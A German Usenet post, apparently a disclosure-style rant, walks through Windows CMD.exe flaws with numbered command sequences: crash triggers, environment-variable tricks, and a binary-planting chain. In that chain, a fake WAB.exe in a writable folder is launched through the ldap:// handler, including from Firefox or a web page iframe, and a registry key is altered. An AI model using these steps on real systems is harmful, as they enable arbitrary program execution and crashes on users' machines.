"Richard Fonfara" <***@yahoo.de> schrieb:
[...]
Post by Richard FonfaraAus all diesen Gründen habe ich gestern Windows neu installiert und habe
die Empfehlungen von Stefan und Christoph beherzigt.
Spiele in diesem funkelnagelneuesten und bestestem Windows aller Zeiten
zur Erbauung doch ein klitzekleinstes Bisschen mit dem Kommandoprozessor
CMD.exe alias %COMSPEC%.
0. Starte CMD.exe und fuehre folgende Kommandos aus:
SET COMSPEC=.
EXIT | ECHO %CMDCMDLINE^%
SET COMSPEC=dummy
EXIT | ECHO %CMDCMDLINE^%
SET COMSPEC=%SystemRoot%\System32\REG.exe
START /B EXIT
SET COMSPEC=
START /B EXIT
EXIT | ECHO %CMDCMDLINE^%
Der Absturz wegen Zugriff auf Adresse 0 beim letzten Kommando
passiert aber erst seit ueber 30 Jahren; alles Andere ist Folge
der strunzenden Dummheit und Ignoranz von Microsofts Entwicklern
-- siehe CWE-73!
1. Starte CMD.exe erneut und fuehre folgende Kommandos aus:
SET /A 1 ^<^< 31
SET /A (1 ^<^< 31) / -1
SET /A (1 ^<^< 31) % -1
Der Absturz wegen Quotientenueberlauf bei der Resteverwertung
passiert aber erst seit knapp 30 Jahren!
2. Starte CMD.exe erneut und fuehre folgendes Kommando aus:
SET /?
Es zeigt am Ende seiner Ausgabe folgende Zeilen an:
| %CMDCMDLINE% - expandiert zur ursprünglichen Befehlszeile, die den
| Befehlsinterpreter aufgerufen hat.
Fuehre dann folgende Kommandos aus:
ECHO %CMDCMDLINE%
ECHO %CMDCMDLINE:~33,-3%
ECHO %CMDCMDLINE%
"Knusper, knusper, knaeuschen, wer knabbert (aber erst seit dem
letzten Jahrtausend) an meinem Haeuschen?"
3. Auf 64-bittigem Windows gibt's VIELE Programme doppelt, sowohl in
"C:\Program Files\..." als auch in "C:\Program Files (x86)\..."
IF DEFINED ProgramFiles(x86) (ECHO %ProgramFiles(x86)%) ELSE (ECHO %ProgramFiles%)
IF DEFINED ProgramFiles(x86) (SET ProgramFiles(x86)) ELSE (SET ProgramFiles)
Ganz offensicht ueberfordert es Microsofts Entwickler, die Anzahl
oeffnender und schliessender Klammern zu zaehlen.
4. Erzeuge im oeffentlichen TMP-Verzeichnis ein Unterverzeichnis
und loesche es, dann eine Datei und loesche diese:
MKDIR "%SystemRoot%\Temp\dummy"
RMDIR "%SystemRoot%\Temp\dummy"
COPY "%COMSPEC%" "%SystemRoot%\Temp\dummy"
ERASE "%SystemRoot%\Temp\dummy"
Der Kommandointerpreter kann selbst angelegte Dateien NICHT
loeschen!
5. Ueberschreibe die Datei und versuche Zugriffe mit anderen
Kommandos:
COPY /A NUL: "%SystemRoot%\Temp\dummy"
TYPE "%SystemRoot%\Temp\dummy"
CALL "%SystemRoot%\Temp\dummy"
MOVE "%SystemRoot%\Temp\dummy"
ICACLs.exe "%SystemRoot%\Temp\dummy"
Laut der Ausgabe des letzten Kommandos hat Dein Benutzerkonto
VOLLZUGRIFF!
6. Welches Programm wird von folgendem Kommando gestartet?
START ldap://localhost
7. Welches Programm wird nach folgenden 4 Kommandos gestartet?
SET ProgramFiles=%PUBLIC%
MKDIR "%ProgramFiles%\Windows Mail"
COPY "%COMSPEC%" "%ProgramFiles%\Windows Mail\WAB.exe"
START ldap://localhost
JFTR: statt %PUBLIC% geht auch %CD%, %TEMP% oder %USERPROFILE%
sowie \\<computer>\<freigabe>
Funktioniert aber erst seit Windows NT 4.0 (vor Windows Vista
ist "\Windows Mail\" durch "\Outlook Express\" zu ersetzen) und
nur bei armen Troepfen, die SAFER oder dessen Nachfolger noch
immer verschmaehen!
8. Falls Firefox laeuft beende diesen und starte ihn mit folgendem
Kommando erneut:
START Firefox ldap://localhost
Firefox beliebige Programme ausfuehren zu lassen funktioniert
prima!
JFTR: <a href="ldap://example.com">klick mich</a> in einer
Web-Seite braucht einen Klick; ohne Klick geht's mit
<iframe src="ldap://example.com">...</iframe>
9. Fuehre zum Absch(l)uss folgende zwei Kommandos aus:
REG.exe ADD "HKCU\Volatile Environment" /V SystemRoot /D ""
SETX.exe TEMP=%USERPROFILE^%\AppData\Local\Temp
Wenn's zu "bunt" wird hilft ab- und anmelden;-)
Stefan
--
<https://www.duden.de/rechtschreibung/Kanthaken>